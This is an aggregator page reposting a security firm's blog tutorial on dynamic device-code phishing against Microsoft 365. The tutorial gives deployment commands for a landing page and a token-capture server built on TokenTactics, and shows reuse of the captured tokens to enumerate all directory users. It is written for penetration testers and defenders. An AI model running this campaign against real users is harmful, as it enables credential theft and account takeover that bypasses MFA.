惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Recent Announcements
Recent Announcements
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
量子位
博客园 - 司徒正美
Security Archives - TechRepublic
Security Archives - TechRepublic
P
Palo Alto Networks Blog
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
Cyberwarzone
Cyberwarzone
小众软件
小众软件
T
Threatpost
Latest news
Latest news
J
Java Code Geeks
博客园 - Franky
博客园 - 三生石上(FineUI控件)
Project Zero
Project Zero
P
Privacy & Cybersecurity Law Blog
T
Tenable Blog
L
Lohrmann on Cybersecurity
大猫的无限游戏
大猫的无限游戏
WordPress大学
WordPress大学
Apple Machine Learning Research
Apple Machine Learning Research
Scott Helme
Scott Helme
Simon Willison's Weblog
Simon Willison's Weblog
C
CXSECURITY Database RSS Feed - CXSecurity.com
P
Privacy International News Feed
人人都是产品经理
人人都是产品经理
S
Schneier on Security
T
The Blog of Author Tim Ferriss
V
V2EX
有赞技术团队
有赞技术团队
Y
Y Combinator Blog
罗磊的独立博客
IT之家
IT之家
雷峰网
雷峰网
H
Help Net Security
C
Cyber Attacks, Cyber Crime and Cyber Security
T
Tor Project blog
C
Cybersecurity and Infrastructure Security Agency CISA
I
InfoQ
GbyAI
GbyAI
博客园 - 叶小钗
PCI Perspectives
PCI Perspectives
The GitHub Blog
The GitHub Blog
Martin Fowler
Martin Fowler
H
Heimdal Security Blog
Spread Privacy
Spread Privacy
博客园_首页
A
About on SuperTechFans
T
Tailwind CSS Blog
The Register - Security
The Register - Security

Black Hills Information Security, Inc.

Bad Habits: An ANTISOC Operation Same Problem, Different Angles: When Red Team and Blue Team Actually Talk to Each Other How to Identify and Exploit New Vulnerabilities Swapper – A Pure Regex Match/Replace Burp Extension A Practical Guide to BloodHound Data Collection Network Engineering Basics Signed, Trusted, and Abused: Proxy Execution via WebView2 Getting Started In Pentesting – Advice From The BHIS Pentest Lead Cloud Security: Tips and Resources for Securing the Cloud Lessons From A Chatbot Incident How to Lead Effective Tabletops Understanding GRC: How to Navigate Risks and Compliance Standards The “P” in PAM is for Persistence: Linux Persistence Technique Malware Analysis: How to Analyze and Understand Malware OSINT: How to Find, Use, and Control Open-Source Intelligence What to Do with Your First Home Lab When the SOC Goes to Deadwood: A Night to Remember Social Engineering and Microsoft SSPR: The Road to Pwnage is Paved with Good Intentions Common Cyber Threats Finding the Right Penetration Testing Company Deceptive-Auditing: An Active Directory Honeypots Tool The Curious Case of the Comburglar How to Set Smart Goals (That Actually Work For You) Inside the BHIS SOC: A Conversation with Hayden Covington Abusing Delegation with Impacket (Part 3): Resource-Based Constrained Delegation Why You Got Hacked – 2025 Super Edition Abusing Delegation with Impacket (Part 2): Constrained Delegation Abusing Delegation with Impacket (Part 1): Unconstrained Delegation GoSpoof – Turning Attacks into Intel Model Context Protocol (MCP) Bypassing WAFs Using Oversized Requests Getting Started with AI Hacking Part 2: Prompt Injection Wrangling Windows Event Logs with Hayabusa & SOF-ELK (Part 2) DomCat: A Domain Categorization Tool Wrangling Windows Event Logs with Hayabusa & SOF-ELK (Part 1) Microsoft Store and WinGet: Security Risks for Corporate Environments Default Web Content MailFail Commonly Abused Administrative Utilities: A Hidden Risk to Enterprise Security Stop Spoofing Yourself! Disabling M365 Direct Send Bypassing CSP with JSONP: Introducing JSONPeek and CSP B Gone Offensive Tooling Cheatsheets: An Infosec Survival Guide Resource DNS Triage Cheatsheet GraphRunner Cheatsheet Burp Suite Cheatsheet Impacket Cheatsheet Wireshark Cheatsheet Hashcat Cheatsheet EyeWitness Cheatsheet Nmap Cheatsheet Netcat (nc) Cheatsheet Hunt for Weak Spots in Your Wireless Network with Airodump-ng from the Aircrack-ng Suite Detecting ADCS Privilege Escalation Vulnerability Scanning with Nmap Getting Started with NetExec: Streamlining Network Discovery and Access How to Use Dirsearch Augmenting Penetration Testing Methodology with Artificial Intelligence – Part 3: Arcanum Cyber Security Bot How to Design and Execute Effective Social Engineering Attacks by Phone Abusing S4U2Self for Active Directory Pivoting Why Use a Macro Pad? Espanso: Text Replacement, the Easy Way Caging Copilot: Lessons Learned in LLM Security Augmenting Penetration Testing Methodology with Artificial Intelligence – Part 2: Copilot Augmenting Penetration Testing Methodology with Artificial Intelligence – Part 1: Burpference Intercepting Traffic for Mobile Applications that Bypass the System Proxy How to Root Android Phones Communicating Security to the C-Suite: A Strategic Approach Offline Memory Forensics With Volatility Getting Started with AI Hacking: Part 1 Go-Spoof: A Tool for Cyber Deception How to Test Adversary-in-the-Middle Without Hacking Tools Canary in the Code: Alert()-ing on XSS Exploits How to Hack Wi-Fi with No Wi-Fi Why Your Org Needs a Penetration Test Program Burp Suite Extension: Copy For Light at the End of the Dark Web Wi-Fi Forge: Practice Wi-Fi Security Without Hardware Avoiding Dirty RAGs: Retrieval-Augmented Generation with Ollama and LangChain Gone Phishing: Installing GoPhish and Creating a Campaign 5 Things We Are Going to Continue to Ignore in 2025 John Strand’s 5 Phase Plan For Starting in Computer Security Questions From a Beginner Threat Hunter GRC for Security Managers: From Checklists to Influence AI Large Language Models and Supervised Fine Tuning Attack Tactics 9: Shadow Creds for PrivEsc w/ Kent & Jordan One Active Directory Account Can Be Your Best Early Warning Introduction to Zeek Log Analysis Indecent Exposure: Your Secrets are Showing Creating Burp Extensions: A Beginner’s Guide Pitting AI Against AI: Using PyRIT to Assess Large Language Models (LLMs) The Top Ten List of Why You Got Hacked This Year (2023/2024) ICS Hard Knocks: Mitigations to Scenarios Found in ICS/OT Backdoors & Breaches Intro to Data Analytics Using SQL Finding Access Control Vulnerabilities with Autorize The Detection Engineering Process Cyber Risk Lessons We Can Learn From Hurricane Preparedness Intro to Desktop Application Testing Methodology What Is Penetration Testing? Adversary in the Middle (AitM): Post-Exploitation Pentesting, Threat Hunting, and SOC: An Overview
Dynamic Device Code Phishing
BHIS · 2023-05-17 · via Black Hills Information Security, Inc.

rvrsh3ll // 

Introduction 

This blog post is intended to give a light overview of device codes, access tokens, and refresh tokens. Here, I focus on the technical how-to for standing up and operating a Dynamic Device Code phishing campaign. I’ll cover some key points during the attack flow so operators and defenders will better understand areas to key-in on to help avoid or detect, depending on your intent. 

Codes  

To better understand what a “device code” is, take into consideration when purchasing a new smart television. That television may come with apps installed such as Netflix or Hulu. Well, in order to use those applications, you need to sign in to your account. Now, we don’t want to be mashing TV remote buttons all day trying to type out our 24-character password, do we?  

No, we do not. Enter device codes. By navigating to https://netflix.com/tv8, we’re prompted to enter a code from the TV as seen below. 

Once the correct code is entered on the computer, the TV is signed in. The same premise applies to device code phishing. We, as the attacker, generate the code to give the user. That code is for https://microsoft.com/devicelogin as seen below. 

When the user signs in with the code, we receive the credentials package which includes access and refresh tokens. 

Tokens 

Access tokens or “access_tokens” are exactly what they sound like. They are JSON web tokens that allow users to securely access Microsoft endpoints such as MSGraph. More detailed documentation on access_tokens may be found at https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens. Access tokens are typically good for 1 hour. 

Refresh tokens or “refresh_tokens” allow users to refresh their access_token for up to 90 days. A great way to stay entrenched in a target environment. 

TokenTactics 

TokenTactics is a PowerShell module for generating device codes and refreshing refresh tokens created by Bobby Cooke @0xBoku and myself. Token tactics’ main feature is the ability to refresh tokens to different audiences. Say, for example, you phished a user and received an MSGraph token. If you wanted to use that access to read the user’s email, you can refresh that token to the Outlook audience endpoint, which, gives you an access_token for Outlook. The token can be played in a POST request via BurpSuite to gain access to Outlook in the browser. That’s just one example. TokenTactics can be used to generate the device codes that you would send to the target user. 

OG Device Code Phishing 

Device code phishing started with offensive operators having to generate the code in PowerShell and send it to the target user via email or other means. One major downside to this is that device codes have a timeout window of 15 minutes. That’s a very restrictive time frame to work with on a phishing engagement. What if the target user doesn’t see your phish within that timeframe? Well, as the phisher, you’re out of luck. We need a better option. 

Dynamic Device Code Phishing 

In order to enhance our chances for phishing success, we need to extend that 15-minute window of opportunity during the phishing campaign. To do so, I use Azure Web Apps to deploy a static HTML page to an “.azurewebsite.net” site. This site is merely a front while JavaScript performs a GET request to the device code API, presents the user with the code, and sends a “capturecode” to us, the attacker, so that when the target user signs in, we receive the token package on a virtual private server running TokenTactics.  

This method extends our window of opportunity as the user’s actions generate the device code by browsing to the site. Then, our 15-minute timeout window begins. Since the user has visited the site, there’s a chance they’ll continue to login during that window. 

To better understand this flow, I’ve created a diagram. 

Here are some key points to the diagram: 

  • Source IP is always where the device code was generated. 
  • 15 minutes start when visiting the azurewebsite. 
  • CORS-Anywhere is used to proxy headers back to the user’s browser and render the code generation in-browser. https://github.com/Rob–W/cors-anywhere 
  • Tokens are received on the captureserver.  

Here’s a quick demo video of it in action. 

Defenses 

I won’t be diving into implementation of defenses in this blog post. However, here are some good starting points in Microsoft documentation and a tip that Conditional Access and Sign-on Protections should be implemented to alert or block users from signing in from unknown locations. Don’t blindly allow iPhone or Android either because TokenTactics can spoof those devices. 

  1. Initial Defenses 

Deployment 

You will first need to be signed in using the How to install the Azure CLI | Microsoft Learn

You may sign in with az login –use-device-code 

From a PowerShell terminal, clone TokenTactics. 

git clone https://github.com/rvrsh3ll/TokenTactics 

Clone Azure-App-Tools. 

git clone https://github.com/rvrsh3ll/Azure-App-Tools  

Deploy a capture server. 

cd TokenTactics/capturetokenphish 

import-module .\deploycaptureserver.ps1 

Invoke-DeployCaptureServer -ResourceGroup YOURRESOURCEGROUP -location eastus -vmName codecapture -vmPublicDNSName msftdevicecodes -pubKey ./mykey.pub 

This will deploy an Azure virtual machine, set the FQDN name, grab a LetsEncrypt certificate, and clone TokenTactics. 

SSH to your server. 

ssh -i mykey azureuser@<vmPublicDNSName> 

cd TokenTactics 

*Keep this window open and start a new PowerShell terminal. 

Deploy a landing page. 

cd Azure-App-Tools/DynamicDeviceCodes 

Open index.html with VSCode. 

code index.html 

Change the “MyCaptureServer” to your Azure FQDN. Save. 

Deploy the site using a unique to the Internet “YOURNEWSUBDOMAIN”.  

az webapp up –location eastus –resource-group YOURRESOURCEGROUP –name YOURNEWSUBDOMAIN –html –sku FREE 

Your website will deploy to https://YOURNEWSUBDOMAIN.azurewebsites.net

Back in your other PowerShell prompt you left open in TokenTactics in your SSH session, run your capture server.  

python3 capturetokenphish.py -i 0.0.0.0 -p 8443 

Browse to your site to view the device code generation. 

The script sends a device code that is generated with the user_code and is sent via “GET /id?TOKEN” request to the capture server. Once the server receives that string, PowerShell is loaded to invoke TokenTactics. 

After the user enters the device code, we should receive the access and refresh tokens and they will be saved to TokenLog.log. 

Post-Capture 

You may parse your access_token received client-side at https://jwt.io or with Token Tactics’ “Parse-JWTtoken” cmdlet. This should give you important information such as the username for the token. 

Tokens may be used with some of your favorite cloud enumeration and hacking tools listed below. For a quick win, dump all user email addresses with BARK. If your access is killed, at least you’ll have a full list of users to spray or phish again. 

git clone https://github.com/BloodHoundAD/BARK 

cd BARK 

Import-Module .\Bark.ps1 

$AllUsers = Get-AllAzureADUsers -Token <Insert token eyJ..> -ShowProgress 

Also, check out this great blog by TrustedSec on what to do with tokens. 

Closing 

It’s important to note that wherever the device code is generated, that IP address will show in the logs. Keep that in mind when avoiding or implementing conditional access policies. 

Also, the authentication package brings MFA along with it. So, future code refreshes do not require MFA (currently). 

Microsoft tokens are a powerful way to authenticate and access Azure and Microsoft 365 resources. Use the Microsoft tools available to prevent, detect, and respond to token abuse. I hope this blog post has helped defenders to better protect their network while providing offensive operators with another technique to test and enhance enterprise defenses. 

Black Hills Information Security (BHIS) uses dynamic device code phishing, along with other techniques, against its continuous testing clients to assess phishing prevention, detection, and response capabilities tied to Azure Active Directory, Microsoft 365, and their associated security boundaries.

BHIS has had mixed success with dynamic device code phishing. Some clients have detected the phish as “credential phishing”. Some have had automated solutions detect the email vector and remove the email from inboxes. Others have strict conditional access policies that help mitigate this attack. There are key detection and prevention points in the attack chain as outlined in the blog. Still, we test the assumption of security.

Trust and verify.

Available live/virtual and on-demand